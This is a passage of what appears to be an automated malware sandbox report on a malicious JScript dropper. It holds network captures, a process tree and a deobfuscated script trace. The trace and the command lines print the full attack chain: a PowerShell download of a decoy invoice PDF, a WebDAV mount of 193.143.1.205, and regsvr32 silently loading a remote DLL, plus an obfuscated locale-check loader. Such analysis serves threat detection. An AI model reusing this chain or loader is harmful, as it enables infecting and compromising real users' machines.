Jan 11, 2025 02:13:38.902829885 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.902839899 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.902961016 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.902971983 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.902981997 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.902992964 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.903009892 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.903009892 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.903053045 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.903795958 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.903805971 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.903851032 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.903891087 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.903903961 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.903939009 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.904016972 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.904027939 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.904064894 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.904078960 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.904089928 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.904099941 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.904119968 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.904123068 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.904145002 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.911005974 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.922797918 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:39.031436920 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:39.406280994 CET	49743	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:39.411195993 CET	8888	49743	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:39.411305904 CET	49743	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:39.413424015 CET	49743	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:39.418308973 CET	8888	49743	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:40.227868080 CET	8888	49743	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:40.269679070 CET	49743	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:40.429661036 CET	49743	8888	192.168.2.10	193.143.1.205
Jan 11, 2025 02:14:54.875953913 CET	51557	53	192.168.2.10	1.1.1.1
Jan 11, 2025 02:14:54.880773067 CET	53	51557	1.1.1.1	192.168.2.10
Jan 11, 2025 02:14:54.881146908 CET	51557	53	192.168.2.10	1.1.1.1
Jan 11, 2025 02:14:54.881191015 CET	51557	53	192.168.2.10	1.1.1.1
Jan 11, 2025 02:14:54.885971069 CET	53	51557	1.1.1.1	192.168.2.10
Jan 11, 2025 02:14:55.328895092 CET	53	51557	1.1.1.1	192.168.2.10
Jan 11, 2025 02:14:55.329900026 CET	51557	53	192.168.2.10	1.1.1.1
Jan 11, 2025 02:14:55.335072994 CET	53	51557	1.1.1.1	192.168.2.10
Jan 11, 2025 02:14:55.335150003 CET	51557	53	192.168.2.10	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:13:47.459001064 CET	57560	53	192.168.2.10	1.1.1.1
Jan 11, 2025 02:14:54.875549078 CET	53	53444	1.1.1.1	192.168.2.10

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 02:13:47.459001064 CET	192.168.2.10	1.1.1.1	0xb97a	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 02:13:47.467377901 CET	1.1.1.1	192.168.2.10	0xb97a	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 02:13:48.258599043 CET	1.1.1.1	192.168.2.10	0xf923	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:13:48.258599043 CET	1.1.1.1	192.168.2.10	0xf923	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49727	193.143.1.205	80	7528	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:13:37.367594957 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 02:13:38.146946907 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:13:38 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 02:13:38.146974087 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 02:13:38.146985054 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 02:13:38.147023916 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 02:13:38.147106886 CET	224	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=
Jan 11, 2025 02:13:38.147116899 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 11, 2025 02:13:38.147212982 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 11, 2025 02:13:38.147229910 CET	448	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 11, 2025 02:13:38.147242069 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 11, 2025 02:13:38.147252083 CET	1236	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
Jan 11, 2025 02:13:38.151968956 CET	1236	IN	Data Raw: 37 07 77 ce 63 e8 c9 ed 49 13 43 6f 24 86 1e a4 18 2a c3 a1 35 49 f4 7d 57 42 db 1d b9 6d 0c dd b7 31 f4 ec b4 f9 1d 2f e5 d8 d0 9b c7 79 0c e5 d8 d0 69 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 76 98 fb 6a 61 41 6e 79 21 6d ee bc cb d1 63 fe ca 3d 34 Data Ascii: 7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49743	193.143.1.205	8888	5768	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:13:39.413424015 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 02:13:40.227868080 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:13:40 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	20:13:33
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4702309321830413443.js"
Imagebase:	0x7ff733750000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	20:13:34
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll
Imagebase:	0x7ff76d930000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	20:13:34
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	20:13:34
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	20:13:38
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff64eb90000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	20:13:38
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff76d930000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	20:13:38
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff66a930000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	20:13:39
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	20:13:39
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7df220000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	20:13:39
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1728,i,10853324253008590599,16363621483896230519,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function gptdbkmq() {	gptdbkmq() ➔ undefined
1	yspxhpslh = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var uxzit = this[upvkzi + ryetjh + cqugat + liwsbti + ugnjsik + vnmixkce + xyqxsy + mzfqa] ( this[qewmfcsm + xrukisz + ssvgehv + cqugat + djylimib + upvkzi + mzfqa][xqhujpuy + cqugat + ugnjsik + ryetjh + mzfqa + ugnjsik + xvppxkxkv + eqcoq + qfmzq + ugnjsik + ssvgehv + mzfqa] ( qewmfcsm + xrukisz + ssvgehv + cqugat + djylimib + upvkzi + mzfqa + uyuemmf + xrukisz + fqoptu + ugnjsik + qfdfb + qfdfb ) [oldlhlv + ugnjsik + comer + oldlhlv + ugnjsik + ryetjh + ufcmnz] ( bivthyj + hztmz + hmvbcv + wygdfh + zbzkkdzsr + xqhujpuy + fvknxg + oldlhlv + oldlhlv + hmvbcv + vnkncod + tpvdl + zbzkkdzsr + fvknxg + xrukisz + hmvbcv + oldlhlv + nbjtljj + xqhujpuy + rlkjuf + xyqxsy + mzfqa + cqugat + rlkjuf + qfdfb + sqzgcjje + tbkojolt + ryetjh + xyqxsy + ugnjsik + qfdfb + nbjtljj + vnmixkce + xyqxsy + mzfqa + ugnjsik + cqugat + xyqxsy + ryetjh + mzfqa + djylimib + rlkjuf + xyqxsy + ryetjh + qfdfb + nbjtljj + xsxwuopwk + rlkjuf + ssvgehv + ryetjh + qfdfb + ugnjsik ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( wsude = 0 ; wsude < yspxhpslh[qfdfb + ugnjsik + xyqxsy + comer + mzfqa + fqoptu] ; ++ wsude )
4	{
5	if ( uxzit == yspxhpslh[wsude] )
6	{
7	uxzit = true;
8	break ;
9	}
10	}
11	if ( uxzit !== true )
12	this[qewmfcsm + xrukisz + ssvgehv + cqugat + djylimib + upvkzi + mzfqa][hvwwv + xhrytxd + djylimib + mzfqa] ( );
13	this[qewmfcsm + xrukisz + ssvgehv + cqugat + djylimib + upvkzi + mzfqa][xqhujpuy + cqugat + ugnjsik + ryetjh + mzfqa + ugnjsik + xvppxkxkv + eqcoq + qfmzq + ugnjsik + ssvgehv + mzfqa] ( qewmfcsm + xrukisz + ssvgehv + cqugat + djylimib + upvkzi + mzfqa + uyuemmf + xrukisz + fqoptu + ugnjsik + qfdfb + qfdfb ) [cqugat + xhrytxd + xyqxsy] ( ssvgehv + grunllkij + ufcmnz + sqzgcjje + fnbwk + ssvgehv + sqzgcjje + upvkzi + rlkjuf + zjmpxul + ugnjsik + cqugat + liwsbti + fqoptu + ugnjsik + qfdfb + qfdfb + uyuemmf + ugnjsik + uerjfx + ugnjsik + sqzgcjje + gzxyqh + xqhujpuy + rlkjuf + grunllkij + grunllkij + ryetjh + xyqxsy + ufcmnz + sqzgcjje + tykqvvbc + vnmixkce + xyqxsy + avpexfi + rlkjuf + zjfhzj + ugnjsik + gzxyqh + qewmfcsm + ugnjsik + eqcoq + oldlhlv + ugnjsik + mjlkyj + xhrytxd + ugnjsik + liwsbti + mzfqa + sqzgcjje + gzxyqh + xvppxkxkv + xhrytxd + mzfqa + nhbjnw + djylimib + qfdfb + ugnjsik + sqzgcjje + banbucqan + mzfqa + ugnjsik + grunllkij + upvkzi + banbucqan + nbjtljj + djylimib + xyqxsy + avpexfi + rlkjuf + djylimib + ssvgehv + ugnjsik + uyuemmf + upvkzi + ufcmnz + cevvobvl + sqzgcjje + fqoptu + mzfqa + mzfqa + upvkzi + ozicsib + fnbwk + fnbwk + eyjumzy + qwopqz + powfbx + uyuemmf + eyjumzy + zjrvlhko + powfbx + uyuemmf + eyjumzy + uyuemmf + tglyy + zpanppgiv + wbhcjkl + fnbwk + djylimib + xyqxsy + avpexfi + rlkjuf + djylimib + ssvgehv + ugnjsik + uyuemmf + upvkzi + fqoptu + upvkzi + tykqvvbc + eqjvyz + eqjvyz + liwsbti + mzfqa + ryetjh + cqugat + mzfqa + sqzgcjje + banbucqan + mzfqa + ugnjsik + grunllkij + upvkzi + banbucqan + nbjtljj + djylimib + xyqxsy + avpexfi + rlkjuf + djylimib + ssvgehv + ugnjsik + uyuemmf + upvkzi + ufcmnz + cevvobvl + eqjvyz + eqjvyz + ssvgehv + grunllkij + ufcmnz + sqzgcjje + fnbwk + ssvgehv + sqzgcjje + xyqxsy + ugnjsik + mzfqa + sqzgcjje + xhrytxd + liwsbti + ugnjsik + sqzgcjje + nbjtljj + nbjtljj + eyjumzy + qwopqz + powfbx + uyuemmf + eyjumzy + zjrvlhko + powfbx + uyuemmf + eyjumzy + uyuemmf + tglyy + zpanppgiv + wbhcjkl + qqmvyypt + gzrngrll + gzrngrll + gzrngrll + gzrngrll + nbjtljj + ufcmnz + ryetjh + avpexfi + zjmpxul + zjmpxul + zjmpxul + cqugat + rlkjuf + rlkjuf + mzfqa + nbjtljj + eqjvyz + eqjvyz + ssvgehv + grunllkij + ufcmnz + sqzgcjje + fnbwk + ssvgehv + sqzgcjje + cqugat + ugnjsik + comer + liwsbti + avpexfi + cqugat + powfbx + tglyy + sqzgcjje + fnbwk + liwsbti + sqzgcjje + nbjtljj + nbjtljj + eyjumzy + qwopqz + powfbx + uyuemmf + eyjumzy + zjrvlhko + powfbx + uyuemmf + eyjumzy + uyuemmf + tglyy + zpanppgiv + wbhcjkl + qqmvyypt + gzrngrll + gzrngrll + gzrngrll + gzrngrll + nbjtljj + ufcmnz + ryetjh + avpexfi + zjmpxul + zjmpxul + zjmpxul + cqugat + rlkjuf + rlkjuf + mzfqa + nbjtljj + eyjumzy + eyjumzy + zpanppgiv + eyjumzy + qmhgm + eyjumzy + qmhgm + zjrvlhko + powfbx + gzrngrll + qmhgm + qwopqz + dvzmdmnmu + eyjumzy + uyuemmf + ufcmnz + qfdfb + qfdfb, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll",0,false) ➔ 0
14	}
15	powfbx = "u";
16	powfbx = "B";
17	powfbx = "G";
18	powfbx = "E";
19	powfbx = "l";
20	powfbx = "i";
21	powfbx = "G";
22	powfbx = "S";
23	powfbx = "I";
24	powfbx = "f";
25	powfbx = "K";
26	powfbx = "S";
27	powfbx = "F";
28	powfbx = "H";
29	powfbx = "Z";
30	powfbx = "L";
31	powfbx = "Y";
32	powfbx = "D";
33	powfbx = "F";
34	powfbx = "O";
35	powfbx = "a";
36	powfbx = "v";
37	powfbx = "U";
38	powfbx = "q";
39	powfbx = "C";
40	powfbx = "3";
41	xvppxkxkv = "l";
42	xvppxkxkv = "E";
43	xvppxkxkv = "L";
44	xvppxkxkv = "P";
45	xvppxkxkv = "L";
46	xvppxkxkv = "i";
47	xvppxkxkv = "Q";
48	xvppxkxkv = "E";
49	xvppxkxkv = "V";
50	xvppxkxkv = "A";
51	xvppxkxkv = "S";
52	xvppxkxkv = "P";
53	xvppxkxkv = "V";
54	xvppxkxkv = "D";
55	xvppxkxkv = "d";
56	xvppxkxkv = "a";
57	xvppxkxkv = "n";
58	xvppxkxkv = "c";
59	xvppxkxkv = "p";
60	xvppxkxkv = "M";
61	xvppxkxkv = "w";
62	xvppxkxkv = "k";
63	xvppxkxkv = "X";
64	xvppxkxkv = "j";
65	xvppxkxkv = "J";
66	xvppxkxkv = "O";
67	nhbjnw = "m";
68	nhbjnw = "d";
69	nhbjnw = "c";
70	nhbjnw = "J";
71	nhbjnw = "J";
72	nhbjnw = "l";
73	nhbjnw = "t";
74	nhbjnw = "S";
75	nhbjnw = "P";
76	nhbjnw = "B";
77	nhbjnw = "K";
78	nhbjnw = "F";
79	gzxyqh = "X";
80	gzxyqh = "h";
81	gzxyqh = "J";
82	gzxyqh = "K";
83	gzxyqh = "V";
84	gzxyqh = "P";
